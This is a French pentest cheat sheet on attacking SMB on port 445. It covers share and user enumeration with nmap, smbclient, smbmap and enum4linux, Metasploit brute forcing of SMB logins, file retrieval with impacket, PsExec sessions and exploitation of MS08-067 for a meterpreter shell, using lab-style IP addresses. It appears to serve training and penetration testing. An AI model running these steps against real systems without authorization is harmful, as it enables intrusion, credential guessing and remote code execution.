Bebzounette
Rechercher…
SMB - 445

1. Liste de commandes basiques

Nmap Command

1
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.76.169
Copied!

SMBClient :

Lister fichiers contenu dans une répertoire partagé samba
1
smbclient -L <ip> -N
Copied!
Se connecter au répertoire partagé samba
1
smbclient \\\\<ip>\\(Nom du dossier partagé)
Copied!

SMBMap:

1
smbmap -H 10.10.167.97
Copied!
  • Enumérer les sous dossiers et fichier d'un dossier ciblé
1
smbmap -R Replication -H 10.10.10.100
Copied!

Enumération et récupération des fichiers dans un share

1
smbget -R smb://192.168.106.71/share
2
3
smbmap -H 192.168.106.71 -r 'share'
Copied!

2. Enumération Serveur Samba

Vous pouvez faire de l'énumération sur une machine en utilisant l'outils Enum4Linux:
1
apt install enum4linux
Copied!
1
enum4linux -a <IP>
Copied!

3. Exploitation d’un serveur Samba mal configuré avec Metasploit :

1
msfconsole
2
msf > search scanner/samba
3
msf > use auxiliary/scanner/smb/smb_version
4
Astuce : Vous pouvez effectuer beaucoup d’autres scans sur le serveur samba, il suffit d’utiliser cette commande : use auxiliary/scanner/smb/(nom du scan)
5
msf > msfauxiliary(smb_version) > set RHOSTS <ip victime>
6
msf> use exploit/multi/samba/usermap_script
7
SET HOSTS AND PORT“
8
run” ou “exploit”
Copied!

4. Brute Force smb avec Metasploit :

  • msfconsole
  • use auxiliary/scanner/smb/smb_login
  • set rhosts 192.168.55.248s
  • et pass_file <wordlist>s
  • et smbuser <username>
  • set stop_on_success true

5. Exploitation du service samba

5.1 SMBClient

Quand vous avez réussi à obtenir des identifiants et mots de passes vous pouvez tenter d'exploiter le service.
Tout d'abord allons fouiller dans les différents répertoires partagés (utilisation impacket) :
1
python3 smbclient.py <IP>
2
Astuce : tapez help pour voir la liste de commande
3
use <nom_du_dossier_partagé>
4
ls
5
get <your file>
6
NB : Le fichier que vous venez de télécharger se trouvera dans le me répertoire que celui où vous étiez quand vous avez lancer smbclient.
Copied!

5.2 PSexec

La manière la plus populaire est d'utiliser la PSExec. A l’aide de PsExec, on peut établir une connexion distante et tenter des collecter plus d’infos sensibles voire envisager une escalation de privilège.
Comme dans la plupart des cas, metasploit a déjà un module qui va vous simplifier la tache :
Vous devriez avoir ensuite une session meterpreter.
Une autre façon peut être d'utiliser un exploit, voici ci dessous l'exploitation d'un serveur samba avec la ms08_067 (un buffer overflow).
Essayons d'abord de voir si la version de smb est vulnérable.
On découvre ici la présence d'une CVE: CVE-2008-4250 qui permettrait l'exécution de code arbitraire à distance via la modification d'une requête RPC qui entraine un buffer-overflow.
Nous avons encore une fois un module metasploit qui est disponible(je vous encourage malgré tout à utiliser le moins possible metasploit et à utiliser d'autre outils, lire les exploits et les comprendre).
1
set RHOST <IP>
2
set payload windows/meterpreter/bind_tcp
3
set target 72
Copied!
Ici on fait attention à "Set" la bonne "Target" en utilisant la commande
1
show target
Copied!
Cela va vous permettre de vérifier la configuration de la langue et du pack utilisé sur la machine victime.
On lance l'exploit et on arrive à avoir une session meterpreter toute bien.